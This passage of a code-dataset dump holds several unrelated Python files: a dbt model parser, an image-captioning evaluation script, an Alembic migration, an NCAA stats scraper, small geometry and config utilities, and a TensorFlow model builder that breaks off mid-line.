scope for this model file\n root_project_name = self.root_project.project_name\n project_name = node.package_name\n banned_macros = ['ref', 'source', 'config']\n\n all_banned_macro_keys: Iterator[str] = chain.from_iterable(\n map(\n lambda name: [\n f\"macro.{project_name}.{name}\",\n f\"macro.{root_project_name}.{name}\"\n ],\n banned_macros\n )\n )\n\n return reduce(\n lambda z, key: z or (key in self.manifest.macros),\n all_banned_macro_keys,\n False\n )\n\n # this method updates the model note rendered and unrendered config as well\n # as the node object. Used to populate these values when circumventing jinja\n # rendering like the static parser.\n def populate(\n self,\n node: ParsedModelNode,\n config: ContextConfig,\n experimentally_parsed: Dict[str, Any]\n ):\n # manually fit configs in\n config._config_call_dict = _get_config_call_dict(experimentally_parsed)\n\n # if there are hooks present this, it WILL render jinja. Will need to change\n # when the experimental parser supports hooks\n self.update_parsed_node_config(node, config)\n\n # update the unrendered config with values from the file.\n # values from yaml files are in there already\n node.unrendered_config.update(experimentally_parsed['configs'])\n\n # set refs and sources on the node object\n node.refs += experimentally_parsed['refs']\n node.sources += experimentally_parsed['sources']\n\n # configs don't need to be merged into the node because they\n # are read from config._config_call_dict\n\n # the manifest is often huge so this method avoids deepcopying it\n def partial_deepcopy(self):\n return ModelParser(\n deepcopy(self.project),\n self.manifest,\n deepcopy(self.root_project)\n )\n\n\n# pure function. safe to use elsewhere, but unlikely to be useful outside this file.\ndef _get_config_call_dict(\n static_parser_result: Dict[str, List[Any]]\n) -> Dict[str, Any]:\n config_call_dict: Dict[str, Any] = {}\n\n for c in static_parser_result['configs']:\n ContextConfig._add_config_call(config_call_dict, {c[0]: c[1]})\n\n return config_call_dict\n\n\n# returns a list of string codes to be sent as a tracking event\ndef _get_exp_sample_result(\n sample_node: ParsedModelNode,\n sample_config: ContextConfig,\n node: ParsedModelNode,\n config: ContextConfig\n) -> List[str]:\n result: List[Tuple[int, str]] = _get_sample_result(sample_node, sample_config, node, config)\n\n def process(codemsg):\n code, msg = codemsg\n return f\"0{code}_experimental_{msg}\"\n\n return list(map(process, result))\n\n\n# returns a list of messages and int codes and messages that need a single digit\n# prefix to be prepended before being sent as a tracking event\ndef _get_sample_result(\n sample_node: ParsedModelNode,\n sample_config: ContextConfig,\n node: ParsedModelNode,\n config: ContextConfig\n) -> List[Tuple[int, str]]:\n result: List[Tuple[int, str]] = []\n # look for false positive configs\n for k in sample_config._config_call_dict:\n if k not in config._config_call_dict:\n result += [(2, \"false_positive_config_value\")]\n break\n\n # look for missed configs\n for k in config._config_call_dict.keys():\n if k not in sample_config._config_call_dict.keys():\n result += [(3, \"missed_config_value\")]\n break\n\n # look for false positive sources\n for s in sample_node.sources:\n if s not in node.sources:\n result += [(4, \"false_positive_source_value\")]\n break\n\n # look for missed sources\n for s in node.sources:\n if s not in sample_node.sources:\n result += [(5, \"missed_source_value\")]\n break\n\n # look for false positive refs\n for r in sample_node.refs:\n if r not in node.refs:\n result += [(6, \"false_positive_ref_value\")]\n break\n\n # look for missed refs\n for r in node.refs:\n if r not in sample_node.refs:\n result += [(7, \"missed_ref_value\")]\n break\n\n # if there are no errors, return a success value\n if not result:\n result = [(0, \"exact_match\")]\n\n return result\n","repo_name":"denironyx/learn_dbt_project","sub_path":"dbt_env/Lib/site-packages/dbt/parser/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":10944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"17835580245","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport json\nimport numpy as np\n\nimport sys, codecs\n# sys.stdout = codecs.getwriter(\"utf-8\")(sys.stdout)\n\nimport time\nimport os\nimport _pickle as cPickle\n# from six.moves import cPickle\n\nimport opts\nimport models\nfrom dataloader import *\nfrom dataloaderraw import *\nimport eval_utils\nimport argparse\nimport misc.utils as utils\nimport torch\nimport similality.cos_distance as sim\nimport Discriminator.utils as dis_utils\nimport Discriminator.dataloader_for_dis as dis_dataloader\n\n# Input arguments and options\nparser = argparse.ArgumentParser()\n\ndir = '/mnt/poplin/share/2018/nakamura_M1/self_sequential/data/'\n# Input paths\nparser.add_argument('--model', type=str, default='',\n help='path to model to evaluate')\nparser.add_argument('--discriminator', type=str, default=None,\n help='path to model to evaluate')\nparser.add_argument('--manager', type=str, default='None',\n help='path to manger to evaluate')\nparser.add_argument('--cnn_model', type=str, default='resnet101',\n help='resnet101, resnet152')\nparser.add_argument('--infos_path', type=str, default='',\n help='path to infos to evaluate')\n# Basic options\nparser.add_argument('--batch_size', type=int, default=0,\n help='if > 0 then overrule, otherwise load from checkpoint.')\nparser.add_argument('--num_images', type=int, default=-1,\n help='how many images to use when periodically evaluating the loss? (-1 = all)')\nparser.add_argument('--language_eval', type=int, default=0,\n help='Evaluate language as well (1 = yes, 0 = no)? BLEU/CIDEr/METEOR/ROUGE_L? requires coco-caption code from Github.')\nparser.add_argument('--dump_images', type=int, default=1,\n help='Dump images into vis/imgs folder for vis? (1=yes,0=no)')\nparser.add_argument('--dump_json', type=int, default=1,\n help='Dump json with predictions into vis folder? (1=yes,0=no)')\nparser.add_argument('--dump_path', type=int, default=0,\n help='Write image paths along with predictions into vis json? (1=yes,0=no)')\n\n# Sampling options\nparser.add_argument('--sample_max', type=int, default=1,\n help='1 = sample argmax words. 0 = sample from distributions.')\nparser.add_argument('--max_ppl', type=int, default=0,\n help='beam search by max perplexity or max probability.')\nparser.add_argument('--beam_size', type=int, default=2,\n help='used when sample_max = 1, indicates number of beams in beam search. Usually 2 or 3 works well. More is not better. Set this to 1 for faster runtime but a bit worse performance.')\nparser.add_argument('--group_size', type=int, default=1,\n help='used for diverse beam search. if group_size is 1, then it\\'s normal beam search')\nparser.add_argument('--diversity_lambda', type=float, default=0.5,\n help='used for diverse beam search. Usually from 0.2 to 0.8. Higher value of lambda produces a more diverse list')\nparser.add_argument('--temperature', type=float, default=1.0,\n help='temperature when sampling from distributions (i.e. when sample_max = 0). Lower = \"safer\" predictions.')\nparser.add_argument('--decoding_constraint', type=int, default=0,\n help='If 1, not allowing same word in a row')\n# For evaluation on a folder of images:\nparser.add_argument('--image_folder', type=str, default='', \n help='If this is nonempty then will predict on the images in this folder path')\nparser.add_argument('--image_root', type=str, default='', \n help='In case the image paths have to be preprended with a root path to an image folder')\n# For evaluation on MSCOCO images from some split:\nparser.add_argument('--input_fc_dir', type=str, default=dir + 'data/cocotalk_fc',\n help='path to the directory containing the preprocessed fc feats')\nparser.add_argument('--input_att_dir', type=str, default=dir + 'data/cocotalk_att',\n help='path to the directory containing the preprocessed att feats')\nparser.add_argument('--input_box_dir', type=str, default=dir + 'data/cocotalk_box',\n help='path to the directory containing the boxes of att feats')\nparser.add_argument('--input_label_h5', type=str, default=dir + 'data/coco_label.h5',\n help='path to the h5file containing the preprocessed dataset')\nparser.add_argument('--input_json', type=str, default='', \n help='path to the json file containing additional info and vocab. empty = fetch from model checkpoint.')\nparser.add_argument('--input_bu_feature', type=str, default='/mnt/poplin/share/2018/nakamura_M1/self_sequential/data/data/bbox_info.json',\n help='path to the h5file containing the preprocessed dataset')\nparser.add_argument('--input_subatt_dir', type=str, default=dir + 'data/cocotalk_att',\n help='path to the directory containing the preprocessed att feats')\nparser.add_argument('--split', type=str, default='test',\n help='if running on MSCOCO images, which split to use: val|test|train')\nparser.add_argument('--coco_json', type=str, default='', \n help='if nonempty then use this file in DataLoaderRaw (see docs there). Used only in MSCOCO test evaluation, where we have a specific json file of only test set images.')\nparser.add_argument('--sim_pred_type', type=int, default=2, help='select similarity predictor')\n# misc\nparser.add_argument('--id', type=str, default='', \n help='an id identifying this run/job. used only if language_eval = 1 for appending to intermediate files')\nparser.add_argument('--verbose_beam', type=int, default=1, \n help='if we need to print out all beam search beams.')\nparser.add_argument('--verbose_loss', type=int, default=0, \n help='if we need to calculate loss.')\nparser.add_argument('--attention_output', type=bool, default=False,\n help='if we need to output attention.')\n\nparser.add_argument('--internal_model', type=str, default='',\n help='P or R')\nparser.add_argument('--internal_dir', type=str, default='')\nparser.add_argument('--output', type=int, default=0)\nparser.add_argument('--seq_length', type=int, default=20)\nparser.add_argument('--sub_seq_flg', type=int, default=0)\nparser.add_argument('--region_bleu_flg', type=int, default=0)\nparser.add_argument('--dataset', type=str, default='coco')\nparser.add_argument('--use_weight_probability', type=int, default=0)\nparser.add_argument('--max_att_len', type=int, default=36)\nparser.add_argument('--weight_deterministic_flg', type=int, default=0)\nparser.add_argument('--whole_att_flg', type=int, default=0, help='To evaluate baseline method, whole image feature is used as a attention')\nparser.add_argument('--baseline_concat', type=int, default=0)\n\nparser.add_argument('--gpu', type=int, default=0)\n\nparser.add_argument('--prohibit_flg', type=int, default=0, help='use prohibition of return saliency')\nparser.add_argument('--prohibit_flg_hard', type=int, default=0, help='use prohibition of return saliency for hard attention')\n\nparser.add_argument('--min_seq_length', type=int, default=-1,\n help='minimun number of sequrnse length')\nparser.add_argument('--bleu_option', type=str, default='closest',\n help='closest ot times')\nparser.add_argument('--p_switch', type=int, default=0)\nparser.add_argument('--area_feature_use', type=int, default=0)\nparser.add_argument('--selected_region_file', type=str, default=None)\nparser.add_argument('--use_next_region', type=int, default=0)\n\nopt = parser.parse_args()\n\n# opt.model = '/mnt/poplin/share/2018/nakamura_M1/self_sequential/log/' + opt.model\n# opt.infos_path ='/mnt/poplin/share/2018/nakamura_M1/self_sequential/log/' + opt.infos_path\n# opt.manager = '/mnt/poplin/share/2018/nakamura_M1/self_sequential/log/' + opt.manager\n# opt.internal_dir = '/mnt/poplin/share/2018/nakamura_M1/self_sequential/log/' + opt.internal_dir\n\nmnt_path = '/mnt/workspace2019/nakamura/selfsequential/log_python3/'\n\nopt.model = mnt_path + opt.model\nif opt.discriminator is not None:\n opt.discriminator = mnt_path + opt.discriminator\nopt.sim_model_dir = mnt_path + 'log_' + opt.id + '/sim_model' + opt.model[-13:-4] + '.pth'\nopt.infos_path = mnt_path + opt.infos_path\n# opt.manager = '/mnt/poplin/share/2018/nakamura_M1/self_sequential/log/' + opt.manager\nopt.internal_dir = mnt_path + opt.internal_dir\n\ntorch.cuda.set_device(opt.gpu)\n\nclass MyEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, np.integer):\n return int(obj)\n elif isinstance(obj, np.floating):\n return float(obj)\n elif isinstance(obj, np.ndarray):\n return obj.tolist()\n else:\n return super(MyEncoder, self).default(obj)\n\n# Load infos\n# with open(opt.infos_path) as f:\n# infos = cPickle.load(f)\nwith open(opt.infos_path, mode='rb') as f:\n infos = cPickle.load(f, encoding='latin1')\n\n# with open('/mnt/workspace2018/nakamura/IAPR/iapr_talk_mod.json', mode='rb')\n# infos = cPickle.load(f, encoding='latin1')\n\n# override and collect parameters\nif len(opt.input_fc_dir) == 0:\n opt.input_fc_dir = infos['opt'].input_fc_dir\n opt.input_att_dir = infos['opt'].input_att_dir\n # opt.input_box_dir = infos['opt'].input_box_dir\n opt.input_label_h5 = infos['opt'].input_label_h5\nif len(opt.input_json) == 0:\n opt.input_json = infos['opt'].input_json\nif opt.batch_size == 0:\n opt.batch_size = infos['opt'].batch_size\nif len(opt.id) == 0:\n opt.id = infos['opt'].id\n# opt.input_bu_feature = infos['opt'].input_bu_feature\nopt.sum_reward_rate = 1\n# ignore = [\"id\", \"batch_size\", \"beam_size\", \"start_from\", \"language_eval\",\"gpu\"]\nignore = [\"id\", \"batch_size\", \"beam_size\", \"start_from\", \"language_eval\",\"gpu\", \"seq_length\", \"dataset\", 'region_bleu_flg',\n 'input_label_h5', \"input_box_dir\", \"input_json\", \"internal_model\", \"prohibit_flg_hard\", \"input_bu_feature\", \"sum_reward_rate\"]\nfor k in vars(infos['opt']).keys():\n if k not in ignore:\n if k in vars(opt):\n # pdb.set_trace()\n print('-----')\n print(k)\n print(vars(opt)[k])\n print(vars(infos['opt'])[k])\n print('-----')\n # assert vars(opt)[k] == vars(infos['opt'])[k], k + ' option not consistent'\n else:\n vars(opt).update({k: vars(infos['opt'])[k]}) # copy over options from model\n\nvocab = infos['vocab'] # ix -> word mapping\n\nopt.multi_learn_flg = 0\nopt.critic_probabilistic = 0\nopt.ppo_flg = 0\nopt.ppo = 0\nopt.critic_encode = 0\nopt.actor_critic_flg = 0\n\n# Setup the model\nprint('Setup the model')\nmodel = models.setup(opt)\nmodel.load_state_dict(torch.load(opt.model, map_location='cuda:0'))\nmodel.cuda()\nmodel.eval()\n\n# if infos['opt'].discriminator_weight > 0:\n# Discriminator = dis_utils.Discriminator(infos['opt'])\n# # discrimiantor_model_dir = '/mnt/workspace2018/nakamura/selfsequential/discriminator_log/coco/discriminator_150.pth'\n# discrimiantor_model_dir = '/mnt/workspace2018/nakamura/selfsequential/discriminator_log/iapr_dict/discriminator_125.pth'\n# Discriminator.load_state_dict(torch.load(discrimiantor_model_dir, map_location='cuda:' + str(opt.gpu)))\n# Discriminator = Discriminator.cuda()\n# Discriminator.eval()\n#\n# Discriminator_learned = dis_utils.Discriminator(infos['opt'])\n# discrimiantor_model_dir = opt.discriminator\n# Discriminator_learned.load_state_dict(torch.load(discrimiantor_model_dir, map_location='cuda:' + str(opt.gpu)))\n# Discriminator_learned = Discriminator_learned.cuda()\n# Discriminator_learned.eval()\n# else:\n# Discriminator = None\n# Discriminator_learned = None\n\n\n\nif opt.discriminator is not None:\n infos['opt'].cut_length = 5\n Discriminator = dis_utils.Discriminator(infos['opt'])\n # discrimiantor_model_dir = '/mnt/workspace2018/nakamura/selfsequential/discriminator_log/coco/discriminator_150.pth'\n # discrimiantor_model_dir = '/mnt/workspace2019/nakamura/selfsequential/discriminator_log/sew/discriminator_900.pth'\n discrimiantor_model_dir = '/mnt/workspace2019/nakamura/selfsequential/discriminator_log/vg_cut5/discriminator_200.pth'\n Discriminator.load_state_dict(torch.load(discrimiantor_model_dir, map_location='cuda:' + str(opt.gpu)))\n Discriminator = Discriminator.cuda()\n Discriminator.eval()\n\n Discriminator_learned = dis_utils.Discriminator(infos['opt'])\n discrimiantor_model_dir = opt.discriminator\n if not os.path.isfile(discrimiantor_model_dir):\n # discrimiantor_model_dir = '/mnt/workspace2019/nakamura/selfsequential/log_python3/log_xe_with_disc500_vg_woic_wdf4_rand/discriminator_30_48000.pth'\n discrimiantor_model_dir = '/mnt/workspace2019/nakamura/selfsequential/log_python3/log_xe_with_disc500_vg_simple_wdf5_lr01_rand/discriminator_30_48000.pth'\n # discrimiantor_model_dir = '/mnt/workspace2019/nakamura/selfsequential/log_python3/log_xe_wirh_disc1000_vg_woic_limitlength_spuls/discriminator_36_57000.pth'\n # discrimiantor_model_dir = '/mnt/workspace2019/nakamura/selfsequential/log_python3/log_xe_wirh_disc1000_vg_woic_limitlength/discriminator_42_66000.pth'\n Discriminator_learned.load_state_dict(torch.load(discrimiantor_model_dir, map_location='cuda:' + str(opt.gpu)))\n Discriminator_learned = Discriminator_learned.cuda()\n Discriminator_learned.eval()\nelse:\n Discriminator = None\n Discriminator_learned = None\n\n# if opt.manager != 'manager_model':\n# if opt.manager_model == 'manager':\n# manager = models.ManagerModel(opt)\n# elif opt.manager_model == 'manager_lstm':\n# manager = models.ManagerModel_lstm(opt)\n# elif opt.manager_model == 'manager_fc':\n# manager = models.ManagerModel_fc(opt)\n# if vars(opt).get('start_from', None) is not None:\n# # check if all necessary files exist\n# print('manager_load')\n# assert os.path.isdir(opt.start_from), \" %s must be a a path\" % opt.start_from\n# assert os.path.isfile(os.path.join(opt.start_from,\n# \"infos_\" + opt.id + \".pkl\")), \"infos.pkl file does not exist in path %s\" % opt.start_from\n\nif infos['opt'].caption_model == 'hcatt_hard' or infos['opt'].caption_model == 'hcatt_hard_nregion' or \\\n infos['opt'].caption_model == 'basicxt_hard_nregion':\n crit = utils.LanguageModelCriterion_hard()\nelse:\n crit = utils.LanguageModelCriterion()\nopt.sim_model = None\n\n\n# Create the Data Loader instance\nprint('Create the Data Loader instance')\nif len(opt.image_folder) == 0:\n loader = DataLoader(opt)\nelse:\n loader = DataLoaderRaw({'folder_path': opt.image_folder, \n 'coco_json': opt.coco_json,\n 'batch_size': opt.batch_size,\n 'cnn_model': opt.cnn_model})\n print('Data load!')\n# When eval using provided pretrained model, the vocab may be different from what you have in your cocotalk.json\n# So make sure to use the vocab in infos file.\n\nloader.ix_to_word = infos['vocab']\n\nif opt.internal_model == 'sim' or opt.internal_model == 'sim_dammy' or infos['opt'].caption_model == 'hcatt_hard':\n sim_model = sim.Sim_model(opt.input_encoding_size, opt.rnn_size, vocab_size=loader.vocab_size)\n if opt.sim_pred_type == 0:\n # model_root = '/mnt/workspace2018/nakamura/vg_feature/model_cossim2/model_13_1700.pt'\n model_root = '/mnt/workspace2018/nakamura/vg_feature/model_cossim_bu/model_6_0.pt'\n elif opt.sim_pred_type == 1:\n model_root = '/mnt/workspace2018/nakamura/vg_feature/model_cossim_noshuffle04model_71_1300.pt'\n elif opt.sim_pred_type == 2:\n model_root = opt.sim_model_dir\n\n try:\n checkpoint = torch.load(model_root, map_location='cuda:0')\n sim_model.load_state_dict(checkpoint['model_state_dict'])\n except KeyError:\n sim_model.load_state_dict(torch.load(model_root, map_location='cuda:' + str(opt.gpu)))\n sim_model.cuda()\n sim_model.eval()\n opt.sim_model = sim_model\n for param in sim_model.parameters():\n param.requires_grad = False\n\n if infos['opt'].caption_model == 'hcatt_hard':\n internal = None\n else:\n internal = models.CriticModel_sim(opt)\n internal = internal.cuda()\n if opt.internal_dir != mnt_path:\n internal.load_state_dict(torch.load(opt.internal_dir, map_location='cuda:0'))\n internal.eval()\n\nelse:\n internal = None\n\nif infos['opt'].caption_model == 'hcatt_hard':\n opt.sim_reward_flg = 1\n\nopt.internal = internal\n\n# /mnt/workspace2018/nakamura/selfsequential/vis\n\nimport pickle\n# Set sample options\nprint('Set sample options')\nif opt.output == 1:\n splits = ['test']\n for split in splits:\n opt.split = split\n loss, split_predictions, lang_stats = eval_utils.eval_split_output(model, crit, loader, vars(opt), Discriminator=Discriminator, Discriminator_learned=Discriminator_learned)\n # with open('/mnt/poplin/share/2018/nakamura_M1/self_sequential/vis/vis_hcatt_04.json', 'w') as f:\n # print(model.training, internal.training, sim_model.training)\n\n dir = '/mnt/workspace2018/nakamura/selfsequential/vis'\n if not os.path.isdir(dir):\n os.mkdir(dir)\n if opt.beam_size > 1:\n filename = opt.id + '_' + opt.model[-13:-4] + '_py3_' + 'beam' + str(opt.beam_size)\n # else:\n # filename = opt.id + '_' + opt.model[-13:-4] + '_urs'\n elif opt.baseline_concat == 1:\n filename = opt.id + '_' + opt.model[-13:-4] + '_py3_baselineA_lessthan08_wbf5'\n elif opt.whole_att_flg == 1:\n filename = opt.id + '_' + opt.model[-13:-4] + '_py3_baselineB_lessthan08_wbf5'\n elif opt.internal_model == 'sim':\n filename = opt.id + '_' + opt.model[-13:-4] + '_py3_nouselessthan08'\n else:\n filename = opt.id + '_' + opt.model[-13:-4] + '_py3_re'\n # filename = opt.id + '_' + opt.model[-13:-4] + '_att_fasten'\n\n if opt.language_eval == 1:\n text = eval_utils.write_record(infos['opt'].id + '_' + opt.model[-13:-4], split_predictions, lang_stats)\n with open(dir + '/result_' + filename + '_' + opt.dataset + '.txt', 'w') as f:\n f.write(text)\n\n with open(dir + '/' + filename + '_' + split + '.json', 'wb') as f:\n pickle.dump(split_predictions, f)\n print('json are saved to ' + dir + '/' + filename + '_' + split + '.json')\n exit()\nelse:\n loss, split_predictions, lang_stats = eval_utils.eval_split(model, crit, loader, vars(opt))\n\nprint('loss: ', loss)\nif lang_stats:\n print(lang_stats)\n\nif opt.dump_json == 1:\n # dump the json\n json.dump(split_predictions, open('vis/vis.json', 'w'))\n","repo_name":"hiroki1701/selfsequential","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":18941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"74217967430","text":"import configparser\n\n\n# config parser\ndef getConfig(filename, section, option):\n # create a parser\n parser = configparser.ConfigParser()\n # read config file\n parser.read(filename)\n # get section\n value = parser.get(section, option)\n # return value\n return value\n","repo_name":"JinZhuXing/FreeProxyChecker","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"23352729811","text":"import math, numpy\n\n# Covert from spherical coordinates\n# into cartesian (adjusted for pi3d coordinate system, where\n# X-Y plane is the screen)\n# See reference: http://www.geom.uiuc.edu/docs/reference/CRC-formulas/node42.html\n#\n# az - Azimuth (in degrees)\n# incl - Inclination (in degreez)\ndef spher_to_cart(az, incl, r):\n phi = math.radians(90 - incl)\n theta = math.radians(az)\n \n x = r * math.cos(theta)*math.sin(phi)\n y = r * math.sin(theta)*math.sin(phi)\n z = r * math.cos(phi)\n\n return (y, z, x)\n\n\nclass LinearMotion:\n # from_location - Initial object location\n # to_location - Final object location\n # speed - The speed of the item towards the origin\n # t0 - The initial time\n def __init__(self, from_location, to_location, speed, t0):\n self.b = from_location\n self.t0 = t0\n self.a = (to_location-from_location)*speed\n\n def location(self, t):\n dt = t - self.t0\n return self.b + self.a*dt\n\n","repo_name":"avishorp/astrogun","sub_path":"src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"27"} +{"seq_id":"7603350180","text":"\"\"\"empty message\n\nRevision ID: 19b7f8216758\nRevises: \nCreate Date: 2022-11-29 11:36:40.242501\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = \"19b7f8216758\"\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table(\n \"Show\",\n sa.Column(\"id\", sa.Integer(), nullable=False),\n sa.Column(\"venue_id\", sa.Integer(), nullable=False),\n sa.Column(\"artist_id\", sa.Integer(), nullable=False),\n sa.Column(\"start_time\", sa.String(), nullable=False),\n sa.ForeignKeyConstraint(\n [\"artist_id\"],\n [\"Artist.id\"],\n ),\n sa.ForeignKeyConstraint(\n [\"venue_id\"],\n [\"Venue.id\"],\n ),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n with op.batch_alter_table(\"Artist\", schema=None) as batch_op:\n batch_op.add_column(sa.Column(\"website\", sa.String(length=500), nullable=True))\n batch_op.add_column(sa.Column(\"seeking_venue\", sa.Boolean(), nullable=True))\n batch_op.add_column(\n sa.Column(\"seeking_description\", sa.String(length=500), nullable=True)\n )\n # change data type of column 'genres' from string to array\n batch_op.drop_column(\"genres\")\n batch_op.add_column(sa.Column(\"genres\", sa.ARRAY(sa.String()), nullable=True))\n\n with op.batch_alter_table(\"Venue\", schema=None) as batch_op:\n batch_op.add_column(sa.Column(\"genres\", sa.ARRAY(sa.String()), nullable=True))\n batch_op.add_column(sa.Column(\"website\", sa.String(length=500), nullable=True))\n batch_op.add_column(sa.Column(\"seeking_talent\", sa.Boolean(), nullable=True))\n batch_op.add_column(\n sa.Column(\"seeking_description\", sa.String(length=500), nullable=True)\n )\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table(\"Venue\", schema=None) as batch_op:\n batch_op.drop_column(\"seeking_description\")\n batch_op.drop_column(\"seeking_talent\")\n batch_op.drop_column(\"website\")\n batch_op.drop_column(\"genres\")\n\n with op.batch_alter_table(\"Artist\", schema=None) as batch_op:\n batch_op.drop_column(\"seeking_description\")\n batch_op.drop_column(\"seeking_venue\")\n batch_op.drop_column(\"website\")\n # rollback column 'genres' to string type\n batch_op.drop_column(\"genres\")\n batch_op.add_column(\n sa.Column(\n \"genres\", sa.VARCHAR(length=120), autoincrement=False, nullable=True\n )\n )\n\n op.drop_table(\"Show\")\n # ### end Alembic commands ###\n","repo_name":"donguyen426/fyyur","sub_path":"migrations/versions/19b7f8216758_.py","file_name":"19b7f8216758_.py","file_ext":"py","file_size_in_byte":2758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"8469715705","text":"'''\nSamir Townsley\nMarch 13, 2021\nNCAA Season Data Scraper\n\nDescription: \n Get advanced season stats for all NCAA tournament teams between specified year range (inclusive). Default year range is 1993 through 2021. Output is a .csv file where each row corresponds to the statistics for a team for a given season. File is saved in the 'data/season_adv/' directory.\nUsage: \n Run with default parameters - python3 get_season_adv_data.py\n Run with manual year entry - python3 get_season_adv_data.py \nSource:\n www.sports-reference.com\n'''\n\nfrom mm_modeling.scrapers.ScraperBase import ScraperBase\n\n\nclass AdvSeasonScraper(ScraperBase):\n NAME = \"season_adv\"\n\n def __init__(self):\n ScraperBase.__init__(self)\n \n def _get_name(self):\n return self.NAME\n \n def extract_columns(self, thead):\n cols = []\n headers = thead.find_all('tr')\n\n # Get high-level columns\n for over in headers[0].find_all('th'): \n val = over.get('colspan')\n cnt = 1 if val is None else int(val)\n cols.extend([over.text]*cnt)\n\n # Combine with sub-columns\n for i,under in enumerate(headers[1].find_all('th')): \n cols[i] = cols[i]+'_'+under.text\n\n return cols\n \n def build_table(self, tbody, table, year):\n for trow in tbody.find_all('tr'):\n # Check if row is not relevant\n if trow.has_attr('data-row'):\n continue\n\n # Append each item in row\n row = []\n for col in trow.find_all('td'):\n # Split school name and NCAA appearance\n item = col.text.split('\\xa0')\n row.extend(item)\n\n # Check if team was in NCAA tourney\n if len(row) > 0 and row[1] == 'NCAA':\n table.append([year]+row[:1]+row[2:])\n\n return table\n\n def run(self):\n table = []\n for year in range(int(self.START),int(self.END)+1):\n ### Status report\n print('\\tCurrent year: '+str(year), end=\"\\r\", flush=True)\n\n ### Fetch web data from \"sports-reference.com\"\n url = f\"https://www.sports-reference.com/cbb/seasons/{year}-advanced-school-stats.html\"\n page = self.get(url)\n\n ### Process content\n try:\n thead, tbody = self.get_head_and_body(page)\n except:\n # No season data available for this year\n print('\\tNo data found: %s%s' % (str(year),\" \"*10))\n continue\n\n ### Extract table column names\n if len(table) == 0:\n cols = self.extract_columns(thead)\n table = [['Year']+cols[1:]]\n\n ### Build out table\n self.build_table(tbody, table, year)\n\n self.save(table)\n\nif __name__ == \"__main__\":\n s = AdvSeasonScraper()\n s.run()","repo_name":"samirkt/march_madness_predictive_modeling","sub_path":"mm_modeling/scrapers/AdvSeasonScraper.py","file_name":"AdvSeasonScraper.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"70555726151","text":"# DNN model builder using TensorFlow\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport numpy as np\nfrom enum import Enum\n\n\ndef load_data(data_path=\"MNIST_data/\", one_hot=True):\n dataset = input_data.read_data_sets(data_path, one_hot=one_hot, validation_size=0)\n return dataset\n\n# enum parameters\nlayer_type = Enum('layer_type', 'FC CNN')\nactivate_fn_type = Enum('activate_fn_type', 'No_act Sigmoid tanh ReLU')\ninit_fn_type = Enum('init_fn_type', 'No_init Normal Xavier')\nloss_fn_type = Enum('loss_fn_type', 'Cross_Entropy')\noptimizer_type = Enum('optimizer_type', 'SGD Adam RMSProp')\n\n\nclass TFModel:\n\n def __init__(self, model_params):\n # TF session\n self.sess = tf.Session()\n self.model_params = model_params\n self.merge_flag = False\n\n def __del__(self):\n self.sess.close()\n print('session closed')\n\n def merge_summaries(self, log_dir, merge_flag=False):\n # tensorboard\n if not merge_flag:\n self.merged_summary = tf.summary.merge_all()\n self.merge_flag = True\n\n self.writer = tf.summary.FileWriter(log_dir)\n print('\\nTraining log saved to', log_dir)\n\n def init_variables(self):\n # initialize variables\n self.sess.run(tf.global_variables_initializer())\n print(\"\\nGlobal variable initialized.\")\n\n def build(self):\n with tf.name_scope(self.model_params.name + '/model'):\n # input place holders\n with tf.name_scope('Input'):\n self.X = tf.placeholder(tf.float32, [None, self.model_params.input_size])\n self.input = self.X\n self.Y = tf.placeholder(tf.float32, [None, self.model_params.num_classes])\n self.training = tf.placeholder(tf.bool)\n\n with tf.name_scope('HiddenLayers'):\n num_layers = self.model_params.num_layers\n for i in range(num_layers):\n layer_name = 'Layer%d' % (i+1)\n with tf.name_scope(layer_name):\n # Activation function\n if self.model_params.activate_fn[i] == activate_fn_type.No_act.value:\n act_fn = None\n elif self.model_params.activate_fn[i] == activate_fn_type.Sigmoid.value:\n act_fn = tf.nn.sigmoid\n elif self.model_params.activate_fn[i] == activate_fn_type.tanh.value:\n act_fn = tf.nn.tanh\n elif self.model_params.activate_fn[i] == activate_fn_type.ReLU.value:\n act_fn = tf.nn.relu\n else:\n pass\n\n # Initializer\n if self.model_params.init_fn[i] == init_fn_type.No_init.value:\n init_fn = None\n elif self.model_params.init_fn[i] == init_fn_type.Normal.value:\n init_fn = tf.random_normal_initializer()\n elif self.model_params.init_fn[i] == init_fn_type.Xavier.value:\n init_fn = tf.contrib.layers.xavier_initializer()\n else:\n pass\n\n # Fully-connected Layer\n if self.model_params.layer_type[i] == layer_type.FC.value:\n print(\"Hidden layer #%d: \" % (i + 1))\n if i == 0:\n self.input = self.X\n elif self.model_params.layer_type[i - 1] == layer_type.FC.value:\n self.input = out\n elif self.model_params.layer_type[i-1] == layer_type.CNN.value:\n flatten_size = int(out.shape[1]*out.shape[2]*out.shape[3])\n self.input = tf.reshape(out, [-1, flatten_size])\n else:\n pass\n\n num_neurons = self.model_params.output_size[i]\n out = tf.layers.dense(inputs=self.input,\n units=num_neurons,\n activation=act_fn,\n kernel_initializer=init_fn)\n\n print(\"\\tAdding FC layer...\")\n print(\"\\t\\t# of neurons = %d\" % 